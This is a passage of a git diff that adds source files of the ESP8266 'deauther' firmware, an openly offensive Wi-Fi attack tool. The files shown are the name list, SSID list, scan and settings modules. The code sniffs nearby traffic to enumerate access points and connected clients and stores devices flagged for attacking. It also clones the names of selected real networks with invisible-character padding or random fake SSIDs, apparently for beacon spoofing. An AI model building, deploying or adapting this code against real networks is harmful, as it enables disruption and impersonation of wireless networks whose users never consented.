> NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH); + char* deviceName = (char*)malloc(name.length() + 1); + uint8_t* deviceBssid = NULL; + + name = fixUtf8(name); + + memcpy(deviceMac, mac, 6); + strcpy(deviceName, name.c_str()); + + if (bssid) { + deviceBssid = (uint8_t*)malloc(6); + memcpy(deviceBssid, bssid, 6); + } + + if ((ch < 1) || (ch > 14)) ch = 1; + + Device newDevice; + newDevice.mac = deviceMac; + newDevice.name = deviceName; + newDevice.apBssid = deviceBssid; + newDevice.ch = ch; + newDevice.selected = selected; + + list->add(newDevice); +} + +void Names::internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected) { + uint8_t mac[6]; + + if (!strToMac(macStr, mac)) return; + + if (bssidStr.length() == 17) { + uint8_t bssid[6]; + strToMac(bssidStr, bssid); + internal_add(mac, name, bssid, ch, selected); + } else { + internal_add(mac, name, NULL, ch, selected); + } +} + +void Names::internal_remove(int num) { + free(list->get(num).mac); + free(list->get(num).name); + + if (list->get(num).apBssid) free(list->get(num).apBssid); + list->remove(num); +} + +void Names::internal_removeAll() { + while (count() > 0) { + free(list->get(0).mac); + free(list->get(0).name); + + if (list->get(0).apBssid) free(list->get(0).apBssid); + list->remove(0); + } +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Names.h b/enp8266/esp8266_deauther-master/esp8266_deauther/Names.h new file mode 100755 index 0000000..328891e --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Names.h @@ -0,0 +1,104 @@ +#ifndef Names_h +#define Names_h + +#include "Arduino.h" +#include +#include +extern "C" { + #include "user_interface.h" +} +#include "ArduinoJson.h" +#include "language.h" +#include "SimpleList.h" + +#define NAME_LIST_SIZE 25 +#define NAME_MAX_LENGTH 16 + +extern void checkFile(String path, String data); +extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer); +extern bool writeFile(String path, String& buf); +extern bool appendFile(String path, String& buf); +extern bool strToMac(String macStr, uint8_t* mac); +extern String searchVendor(uint8_t* mac); +extern String fixUtf8(String str); +extern String leftRight(String a, String b, int len); +extern String escape(String str); +extern String bytesToStr(uint8_t* b, uint32_t size); + +class Names { + public: + Names(); + + void load(); + void load(String filepath); + void save(bool force); + void save(bool force, String filepath); + void sort(); + + String find(uint8_t* mac); + int findID(uint8_t* mac); + + void print(int num); + void print(int num, bool header, bool footer); + void select(int num); + void select(String name); + void deselect(int num); + void deselect(String name); + void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force); + void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force); + void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected); + void remove(int num); + + void printAll(); + void printSelected(); + void selectAll(); + void deselectAll(); + void removeAll(); + + uint8_t* getMac(int num); + uint8_t* getBssid(int num); + String getMacStr(int num); + String getBssidStr(int num); + String getName(int num); + String getVendorStr(int num); + String getSelectedStr(int num); + uint8_t getCh(int num); + bool getSelected(int num); + bool isStation(int num); + + void setName(int num, String name); + void setMac(int num, String macStr); + void setCh(int num, uint8_t ch); + void setBSSID(int num, String bssidStr); + + int count(); + int selected(); + int stations(); + + bool check(int num); + + private: + String FILE_PATH = "/names.json"; + bool changed = false; + + struct Device { + uint8_t* mac; // mac address + char * name; // name of saved device + uint8_t* apBssid; // mac address of AP (if saved device is a station) + uint8_t ch; // Wi-Fi channel of Device + bool selected; // select for attacking + }; + + SimpleList* list; + + int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd); + bool internal_check(int num); + void internal_select(int num); + void internal_deselect(int num); + void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected); + void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected); + void internal_remove(int num); + void internal_removeAll(); +}; + +#endif // ifndef Names_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.cpp new file mode 100755 index 0000000..f1459f3 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.cpp @@ -0,0 +1,314 @@ +#include "SSIDs.h" + +SSIDs::SSIDs() { + list = new SimpleList; +} + +void SSIDs::load() { + internal_removeAll(); + DynamicJsonBuffer jsonBuffer(4000); + + checkFile(FILE_PATH, str(SS_JSON_DEFAULT)); + JsonObject& obj = parseJSONFile(FILE_PATH, jsonBuffer); + JsonArray & arr = obj.get(str(SS_JSON_SSIDS)); + + for (uint32_t i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) { + JsonArray& tmpArray = arr.get(i); + internal_add(tmpArray.get(0), tmpArray.get(1), tmpArray.get(2)); + } + + prnt(SS_LOADED); + prntln(FILE_PATH); +} + +void SSIDs::load(String filepath) { + String tmp = FILE_PATH; + + FILE_PATH = filepath; + load(); + FILE_PATH = tmp; +} + +void SSIDs::removeAll() { + internal_removeAll(); + prntln(SS_CLEARED); + changed = true; +} + +void SSIDs::save(bool force) { + if (!force && !changed) return; + + String buf = String(); // create buffer + buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String( + DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false, + buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + + String(OPEN_BRACKET); // "ssids":[ + + if (!writeFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + buf = String(); // clear buffer + + String name; + int c = count(); + + for (int i = 0; i < c; i++) { + name = escape(getName(i)); + + buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name", + buf += b2s(getWPA2(i)) + String(COMMA); // false, + buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12] + + if (i < c - 1) buf += COMMA; // , + + if (buf.length() >= 1024) { + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + buf = String(); // clear buffer + } + } + + buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]} + + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + prnt(SS_SAVED_IN); + prntln(FILE_PATH); + changed = false; +} + +void SSIDs::save(bool force, String filepath) { + String tmp = FILE_PATH; + + FILE_PATH = filepath; + save(force); + FILE_PATH = tmp; +} + +void SSIDs::update() { + if (randomMode) { + if (currentTime - randomTime > randomInterval * 1000) { + prntln(SS_RANDOM_INFO); + + for (int i = 0; i < SSID_LIST_SIZE; i++) { + SSID newSSID; + + if (check(i)) newSSID = list->get(i); + + newSSID.name = String(); + newSSID.len = 32; + + for (int i = 0; i < 32; i++) newSSID.name += char(random(32, 127)); + + newSSID.wpa2 = random(0, 2); + + if (check(i)) list->replace(i, newSSID); + else list->add(newSSID); + } + + randomTime = currentTime; + changed = true; + } + } +} + +String SSIDs::getName(int num) { + return check(num) ? list->get(num).name : String(); +} + +bool SSIDs::getWPA2(int num) { + return check(num) ? list->get(num).wpa2 : false; +} + +int SSIDs::getLen(int num) { + return check(num) ? list->get(num).len : 0; +} + +void SSIDs::setWPA2(int num, bool wpa2) { + SSID newSSID = list->get(num); + + newSSID.wpa2 = wpa2; + list->replace(num, newSSID); +} + +String SSIDs::getEncStr(int num) { + if (getWPA2(num)) return "WPA2"; + else return "-"; +} + +void SSIDs::remove(int num) { + if (!check(num)) return; + + internal_remove(num); + prnt(SS_REMOVED); + prntln(getName(num)); + changed = true; +} + +String SSIDs::randomize(String name) { + int ssidlen = name.length(); + + if (ssidlen > 32) name = name.substring(0, 32); + + if (ssidlen < 32) { + for (int i = ssidlen; i < 32; i++) { + int rnd = random(3); + + if ((i < 29) && (rnd == 0)) { // ZERO WIDTH SPACE + name += char(0xE2); + name += char(0x80); + name += char(0x8B); + i += 2; + } else if ((i < 30) && (rnd == 1)) { // NO-BREAK SPACE + name += char(0xC2); + name += char(0xA0); + i += 1; + } else { + name += char(0x20); // SPACE + } + } + } + return name; +} + +void SSIDs::add(String name, bool wpa2, int clones, bool force) { + if (list->size() >= SSID_LIST_SIZE) { + if (force) { + internal_remove(0); + } else { + prntln(SS_ERROR_FULL); + return; + } + } + + if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE; + + for (int i = 0; i < clones; i++) { + internal_add(clones > 1 ? randomize(name) : name, wpa2, name.length()); + + if (list->size() > SSID_LIST_SIZE) internal_remove(0); + } + + prnt(SS_ADDED); + prntln(name); + changed = true; +} + +void SSIDs::cloneSelected(bool force) { + if (accesspoints.selected() > 0) { + int clones = SSID_LIST_SIZE; + + if (!force) clones -= list->size(); + clones /= accesspoints.selected(); + + int apCount = accesspoints.count(); + + for (int i = 0; i < apCount; i++) { + if (accesspoints.getSelected(i)) add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force); + } + } +} + +bool SSIDs::getRandom() { + return randomMode; +} + +void SSIDs::replace(int num, String name, bool wpa2) { + if (!check(num)) return; + + int len = name.length(); + + if (len > 32) len = 32; + SSID newSSID; + newSSID.name = randomize(name); + newSSID.wpa2 = wpa2; + newSSID.len = (uint8_t)len; + list->replace(num, newSSID); + + prnt(SS_REPLACED); + prntln(name); + changed = true; +} + +void SSIDs::print(int num) { + print(num, true, false); +} + +void SSIDs::print(int num, bool header, bool footer) { + if (!check(num)) return; + + if (header) { + prntln(SS_TABLE_HEADER); + prntln(SS_TABLE_DIVIDER); + } + + prnt(leftRight(String(), (String)num, 2)); + prnt(leftRight(String(SPACE), getEncStr(num), 5)); + prntln(leftRight(String(SPACE) + getName(num), String(), 33)); + + if (footer) prntln(SS_TABLE_DIVIDER); +} + +void SSIDs::printAll() { + prntln(SS_HEADER); + int c = count(); + + if (c == 0) prntln(SS_ERROR_EMPTY); + else + for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1); +} + +int SSIDs::count() { + return list->size(); +} + +bool SSIDs::check(int num) { + return num >= 0 && num < count(); +} + +void SSIDs::enableRandom(uint32_t randomInterval) { + randomMode = true; + SSIDs::randomInterval = randomInterval; + prntln(SS_RANDOM_ENABLED); + update(); +} + +void SSIDs::disableRandom() { + randomMode = false; + internal_removeAll(); + prntln(SS_RANDOM_DISABLED); +} + +void SSIDs::internal_add(String name, bool wpa2, int len) { + if (len > 32) { + name = name.substring(0, 32); + len = 32; + } + + name = fixUtf8(name); + + SSID newSSID; + newSSID.name = name; + newSSID.wpa2 = wpa2; + newSSID.len = (uint8_t)len; + + list->add(newSSID); +} + +void SSIDs::internal_remove(int num) { + list->remove(num); +} + +void SSIDs::internal_removeAll() { + list->clear(); +} diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.h b/enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.h new file mode 100755 index 0000000..85e9659 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/SSIDs.h @@ -0,0 +1,87 @@ +#ifndef SSIDs_h +#define SSIDs_h + +#include "Arduino.h" +#include +#include +extern "C" { + #include "user_interface.h" +} +#include "ArduinoJson.h" +#include "language.h" +#include "SimpleList.h" +#include "Settings.h" +#include "Accesspoints.h" + +#define SSID_LIST_SIZE 60 + +extern Settings settings; +extern uint32_t currentTime; +extern Accesspoints accesspoints; + +extern void checkFile(String path, String data); +extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer); +extern bool appendFile(String path, String& buf); +extern bool writeFile(String path, String& buf); +extern void readFileToSerial(String path); +extern String fixUtf8(String str); +extern String leftRight(String a, String b, int len); +extern String escape(String str); + +class SSIDs { + public: + SSIDs(); + + void load(); + void load(String filepath); + void save(bool force); + void save(bool force, String filepath); + void update(); + + void print(int num); + void print(int num, bool header, bool footer); + void add(String name, bool wpa2, int clones, bool force); + void cloneSelected(bool force); + void remove(int num); + void enableRandom(uint32_t randomInterval); + void disableRandom(); + bool getRandom(); + + String getName(int num); + bool getWPA2(int num); + String getEncStr(int num); + int getLen(int num); + + void setWPA2(int num, bool wpa2); + void replace(int num, String name, bool wpa2); + + void printAll(); + void removeAll(); + + int count(); + + private: + bool changed = false; + bool randomMode = false; + uint32_t randomInterval = 2000; + uint32_t randomTime = 0; + + struct SSID { + String name; // SSID + bool wpa2; // WPA2 encrypted or not + uint8_t len; // original length (before editing it to be 32 characters) + }; + + String FILE_PATH = "/ssids.json"; + + SimpleList* list; + + bool check(int num); + String randomize(String name); + + void internal_add(String name, bool wpa2, int add); + void internal_remove(int num); + void internal_removeAll(); +}; + +#endif // ifndef SSIDs_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Scan.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/Scan.cpp new file mode 100755 index 0000000..2d144b9 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Scan.cpp @@ -0,0 +1,448 @@ +#include "Scan.h" + +Scan::Scan() { + list = new SimpleList; +} + +void Scan::sniffer(uint8_t* buf, uint16_t len) { + if (!isSniffing()) return; + + packets++; + + if (len < 28) return; // drop frames that are too short to have a valid MAC header + + if ((buf[12] == 0xc0) || (buf[12] == 0xa0)) { + tmpDeauths++; + return; + } + + // drop beacon frames, probe requests/responses and deauth/disassociation frames + if ((buf[12] == 0x80) || (buf[12] == 0x40) || (buf[12] == 0x50) /* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return; + + // only allow data frames + // if(buf[12] != 0x08 && buf[12] != 0x88) return; + + uint8_t* macTo = &buf[16]; + uint8_t* macFrom = &buf[22]; + + if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) || + macMulticast(macFrom)) return; + + int accesspointNum = findAccesspoint(macFrom); + + if (accesspointNum >= 0) { + stations.add(macTo, accesspoints.getID(accesspointNum)); + } else { + accesspointNum = findAccesspoint(macTo); + + if (accesspointNum >= 0) { + stations.add(macFrom, accesspoints.getID(accesspointNum)); + } + } +} + +int Scan::findAccesspoint(uint8_t* mac) { + for (int i = 0; i < accesspoints.count(); i++) { + if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i; + } + return -1; +} + +void Scan::start(uint8_t mode) { + start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel); +} + +void Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, + uint8_t channel) { + if (mode != SCAN_MODE_OFF) stop(); + + setWifiChannel(channel); + Scan::continueStartTime = currentTime; + Scan::snifferPacketTime = continueStartTime; + Scan::snifferOutputTime = continueStartTime; + Scan::continueTime = continueTime; + Scan::sniffTime = time; + Scan::channelHop = channelHop; + Scan::scanMode = mode; + Scan::scan_continue_mode = nextmode; + + if ((sniffTime > 0) && (sniffTime < 1000)) sniffTime = 1000; + + // Serial.printf("mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\r\n", mode, + // time, scan_continue_mode, continueTime, channelHop, channel); + + /* AP Scan */ + if ((mode == SCAN_MODE_APS) || (mode == SCAN_MODE_ALL)) { + // remove old results + accesspoints.removeAll(); + stations.removeAll(); + // start AP scan + prntln(SC_START_AP); + WiFi.scanNetworks(true, true); + } + + /* Station Scan */ + else if (mode == SCAN_MODE_STATIONS) { + // start station scan + if (accesspoints.count() < 1) { + start(SCAN_MODE_ALL); + // Serial.println(str(SC_ERROR_NO_AP)); + return; + } + snifferStartTime = currentTime; + prnt(SC_START_CLIENT); + + if (sniffTime > 0) prnt(String(sniffTime / 1000) + S); + else prnt(SC_INFINITELY); + + if (!channelHop) { + prnt(SC_ON_CHANNEL); + prnt(wifi_channel); + } + prntln(); + + // enable sniffer + stopAP(); + wifi_promiscuous_enable(true); + } + + else if (mode == SCAN_MODE_SNIFFER) { + deauths = tmpDeauths; + tmpDeauths = 0; + snifferStartTime = currentTime; + prnt(SS_START_SNIFFER); + + if (sniffTime > 0) prnt(String(sniffTime / 1000) + S); + else prnt(SC_INFINITELY); + prnt(SC_ON_CHANNEL); + prntln(channelHop ? str(SC_ONE_TO) + (String)14 : (String)wifi_channel); + + // enable sniffer + stopAP(); + wifi_promiscuous_enable(true); + } + + /* Stop scan */ + else if (mode == SCAN_MODE_OFF) { + wifi_promiscuous_enable(false); + + if (settings.getWebInterface()) resumeAP(); + prntln(SC_STOPPED); + save(true); + + if (scan_continue_mode != SCAN_MODE_OFF) { + prnt(SC_RESTART); + prnt(int(continueTime / 1000)); + prntln(SC_CONTINUE); + } + } + + /* ERROR */ + else { + prnt(SC_ERROR_MODE); + prntln(mode); + return; + } +} + +void Scan::update() { + if (scanMode == SCAN_MODE_OFF) { + // restart scan if it is continuous + if (scan_continue_mode != SCAN_MODE_OFF) { + if (currentTime - continueStartTime > continueTime) start(scan_continue_mode); + } + return; + } + + // sniffer + if (isSniffing()) { + // update packet list every 1s + if (currentTime - snifferPacketTime > 1000) { + snifferPacketTime = currentTime; + list->add(packets); + + if (list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0); + deauths = tmpDeauths; + tmpDeauths = 0; + packets = 0; + } + + // print status every 3s + if (currentTime - snifferOutputTime > 3000) { + char s[100]; + + if (sniffTime > 0) { + sprintf(s, str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths); + } else { + sprintf(s, str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths); + } + prnt(String(s)); + snifferOutputTime = currentTime; + } + + // channel hopping + if (channelHop && (currentTime - snifferChannelTime > settings.getChTime())) { + snifferChannelTime = currentTime; + + if (scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on + else setChannel(wifi_channel + 1); // go to next channel + } + } + + // APs + if ((scanMode == SCAN_MODE_APS) || (scanMode == SCAN_MODE_ALL)) { + int16_t results = WiFi.scanComplete(); + + if (results >= 0) { + for (int16_t i = 0; i < results && i < 256; i++) { + if (channelHop || (WiFi.channel(i) == wifi_channel)) accesspoints.add(i, false); + } + accesspoints.sort(); + accesspoints.printAll(); + + if (scanMode == SCAN_MODE_ALL) { + delay(30); + start(SCAN_MODE_STATIONS); + } + else start(SCAN_MODE_OFF); + } + } + + // Stations + else if ((sniffTime > 0) && (currentTime > snifferStartTime + sniffTime)) { + wifi_promiscuous_enable(false); + + if (scanMode == SCAN_MODE_STATIONS) { + stations.sort(); + stations.printAll(); + } + start(SCAN_MODE_OFF); + } +} + +void Scan::setup() { + save(true); +} + +void Scan::stop() { + scan_continue_mode = SCAN_MODE_OFF; + start(SCAN_MODE_OFF); +} + +void Scan::setChannel(uint8_t ch) { + if (ch > 14) ch = 1; + else if (ch < 1) ch = 14; + + wifi_promiscuous_enable(0); + setWifiChannel(ch); + wifi_promiscuous_enable(1); +} + +void Scan::nextChannel() { + if (accesspoints.count() > 1) { + uint8_t ch = wifi_channel; + + do { + ch++; + + if (ch > 14) ch = 1; + } while (!apWithChannel(ch)); + setChannel(ch); + } +} + +bool Scan::apWithChannel(uint8_t ch) { + for (int i = 0; i < accesspoints.count(); i++) + if (accesspoints.getCh(i) == ch) return true; + + return false; +} + +void Scan::save(bool force, String filePath) { + String tmp = FILE_PATH; + + FILE_PATH = filePath; + save(true); + FILE_PATH = tmp; +} + +void Scan::save(bool force) { + if (!(accesspoints.changed || stations.changed) && !force) return; + + // Accesspoints + String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String( + DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[ + + if (!writeFile(FILE_PATH, buf)) { // overwrite old file + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + buf = String(); // clear buffer + uint32_t apCount = accesspoints.count(); + + for (uint32_t i = 0; i < apCount; i++) { + buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) + + String(COMMA); // ["ssid", + buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name", + buf += String(accesspoints.getCh(i)) + String(COMMA); // 1, + buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30, + buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2", + buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22", + buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor", + buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false] + + if (i < apCount - 1) buf += String(COMMA); // , + + if (buf.length() >= 1024) { + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + buf = String(); // clear buffer + } + } + + // Stations + buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) + + String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[; + uint32_t stationCount = stations.count(); + + for (uint32_t i = 0; i < stationCount; i++) { + buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) + + String(COMMA); // ["00:11:22:00:11:22", + buf += String(stations.getCh(i)) + String(COMMA); // 1, + buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name", + buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor", + buf += String(*stations.getPkts(i)) + String(COMMA); // 123, + buf += String(stations.getAP(i)) + String(COMMA); // 0, + buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min", + buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false] + + if (i < stationCount - 1) buf += String(COMMA); // , + + if (buf.length() >= 1024) { + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + buf = String(); // clear buffer + } + } + + buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]} + + if (!appendFile(FILE_PATH, buf)) { + prnt(F_ERROR_SAVING); + prntln(FILE_PATH); + return; + } + + accesspoints.changed = false; + stations.changed = false; + prnt(SC_SAVED_IN); + prntln(FILE_PATH); +} + +uint32_t Scan::countSelected() { + return accesspoints.selected() + stations.selected() + names.selected(); +} + +uint32_t Scan::countAll() { + return accesspoints.count() + stations.count() + names.count(); +} + +bool Scan::isScanning() { + return scanMode != SCAN_MODE_OFF; +} + +bool Scan::isSniffing() { + return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER; +} + +uint8_t Scan::getPercentage() { + if (!isSniffing()) return 0; + + return (currentTime - snifferStartTime) / (sniffTime / 100); +} + +void Scan::selectAll() { + accesspoints.selectAll(); + stations.selectAll(); + names.selectAll(); +} + +void Scan::deselectAll() { + accesspoints.deselectAll(); + stations.deselectAll(); + names.deselectAll(); +} + +void Scan::printAll() { + accesspoints.printAll(); + stations.printAll(); + names.printAll(); + ssids.printAll(); +} + +void Scan::printSelected() { + accesspoints.printSelected(); + stations.printSelected(); + names.printSelected(); +} + +uint32_t Scan::getPackets(int i) { + if (list->size() < SCAN_PACKET_LIST_SIZE) { + uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size(); + + if (i >= translatedNum) return list->get(i - translatedNum); + + return 0; + } else { + return list->get(i); + } +} + +String Scan::getMode() { + switch (scanMode) { + case SCAN_MODE_OFF: + return str(SC_MODE_OFF); + + case SCAN_MODE_APS: + return str(SC_MODE_AP); + + case SCAN_MODE_STATIONS: + return str(SC_MODE_ST); + + case SCAN_MODE_ALL: + return str(SC_MODE_ALL); + + case SCAN_MODE_SNIFFER: + return str(SC_MODE_SNIFFER); + + default: + return String(); + } +} + +double Scan::getScaleFactor(uint8_t height) { + return (double)height / (double)getMaxPacket(); +} + +uint32_t Scan::getMaxPacket() { + uint16_t max = 0; + + for (uint8_t i = 0; i < list->size(); i++) { + if (list->get(i) > max) max = list->get(i); + } + return max; +} + +uint32_t Scan::getPacketRate() { + return list->get(list->size() - 1); +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Scan.h b/enp8266/esp8266_deauther-master/esp8266_deauther/Scan.h new file mode 100755 index 0000000..1d63162 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Scan.h @@ -0,0 +1,98 @@ +#ifndef Scan_h +#define Scan_h + +#include "Arduino.h" +#include "Accesspoints.h" +#include "Stations.h" +#include "Names.h" +#include "SSIDs.h" +#include "Settings.h" +#include "language.h" +#include "SimpleList.h" + +#define SCAN_MODE_OFF 0 +#define SCAN_MODE_APS 1 +#define SCAN_MODE_STATIONS 2 +#define SCAN_MODE_ALL 3 +#define SCAN_MODE_SNIFFER 4 +#define SCAN_DEFAULT_TIME 15000 +#define SCAN_DEFAULT_CONTINUE_TIME 10000 +#define SCAN_PACKET_LIST_SIZE 64 + +extern Accesspoints accesspoints; +extern Stations stations; +extern Names names; +extern SSIDs ssids; +extern Settings settings; +extern uint8_t wifiMode; + +extern void setWifiChannel(uint8_t ch); +extern bool appendFile(String path, String& buf); +extern bool writeFile(String path, String& buf); +extern void readFileToSerial(const String path); +extern void resumeAP(); +extern void stopAP(); +extern String escape(String str); + +class Scan { + public: + Scan(); + + void sniffer(uint8_t* buf, uint16_t len); + void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel); + void start(uint8_t mode); + + void setup(); + void update(); + void stop(); + void save(bool force); + void save(bool force, String filePath); + + void selectAll(); + void deselectAll(); + void printAll(); + void printSelected(); + + uint8_t getPercentage(); + uint32_t getPackets(int i); + uint32_t countAll(); + uint32_t countSelected(); + bool isScanning(); + bool isSniffing(); + + void nextChannel(); + void setChannel(uint8_t newChannel); + + String getMode(); + double getScaleFactor(uint8_t height); + uint32_t getMaxPacket(); + uint32_t getPacketRate(); + + uint16_t deauths = 0; + uint16_t packets = 0; + + private: + SimpleList* list; // packet list + + uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs + uint32_t snifferStartTime = 0; // when the scan started + uint32_t snifferOutputTime = 0; // last info output (every 3s) + uint32_t snifferChannelTime = 0; // last time the channel was changed + uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s) + + uint8_t scanMode = 0; + + uint8_t scan_continue_mode = 0; // restart mode after scan stopped + uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts + uint32_t continueStartTime = 0; // when scan restarted + + bool channelHop = true; + uint16_t tmpDeauths = 0; + + bool apWithChannel(uint8_t ch); + int findAccesspoint(uint8_t* mac); + + String FILE_PATH = "/scan.json"; +}; + +#endif // ifndef Scan_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Settings.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/Settings.cpp new file mode 100755 index 0000000..c5d91da --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Settings.cpp @@ -0,0 +1,614 @@ +#include "Settings.h" + +Settings::Settings() { + macSt = (uint8_t*)malloc(6); + macAP = (uint8_t*)malloc(6); +} + +void Settings::load() { + DynamicJsonBuffer jsonBuffer(4000); + + // check & read file + String json = getJsonStr(); + + checkFile(FILE_PATH, json); + JsonObject& data = parseJSONFile(FILE_PATH, jsonBuffer); + + // VERSION + version = data.get("version"); + + // AP + if (data.containsKey(keyword(S_SSID))) setSSID(data.get(keyword(S_SSID))); + if (data.containsKey(keyword(S_PASSWORD))) setPassword(data.get(keyword(S_PASSWORD))); + if (data.containsKey(keyword(S_CHANNEL))) setChannel(data.get(keyword(S_CHANNEL))); + if (data.containsKey(keyword(S_HIDDEN))) setHidden(data.get(keyword(S_HIDDEN))); + if (data.containsKey(keyword(S_CAPTIVEPORTAL))) setCaptivePortal(data.get(keyword(S_CAPTIVEPORTAL))); + + // GENERAL + if (data.containsKey(keyword(S_LANG))) setLang(data.get(keyword(S_LANG))); + if (data.containsKey(keyword(S_DISPLAYINTERFACE))) setDisplayInterface(data.get(keyword(S_DISPLAYINTERFACE))); + if (data.containsKey(keyword(S_DISPLAY_TIMEOUT))) setDisplayTimeout(data.get(keyword(S_DISPLAY_TIMEOUT))); + if (data.containsKey(keyword(S_SERIALINTERFACE))) setCLI(data.get(keyword(S_SERIALINTERFACE))); + if (data.containsKey(keyword(S_SERIAL_ECHO))) setSerialEcho(data.get(keyword(S_SERIAL_ECHO))); + if (data.containsKey(keyword(S_WEBINTERFACE))) setWebInterface(data.get(keyword(S_WEBINTERFACE))); + if (data.containsKey(keyword(S_WEB_SPIFFS))) setWebSpiffs(data.get(keyword(S_WEB_SPIFFS))); + if (data.containsKey(keyword(S_LEDENABLED))) setLedEnabled(data.get(keyword(S_LEDENABLED))); + if (data.containsKey(keyword(S_MACAP))) setMacAP(data.get(keyword(S_MACAP))); + if (data.containsKey(keyword(S_MACST))) setMacSt(data.get(keyword(S_MACST))); + + // SCAN + if (data.containsKey(keyword(S_CHTIME))) setChTime(data.get(keyword(S_CHTIME))); + if (data.containsKey(keyword(S_MIN_DEAUTHS))) setMinDeauths(data.get(keyword(S_MIN_DEAUTHS))); + + // ATTACK + if (data.containsKey(keyword(S_ATTACKTIMEOUT))) 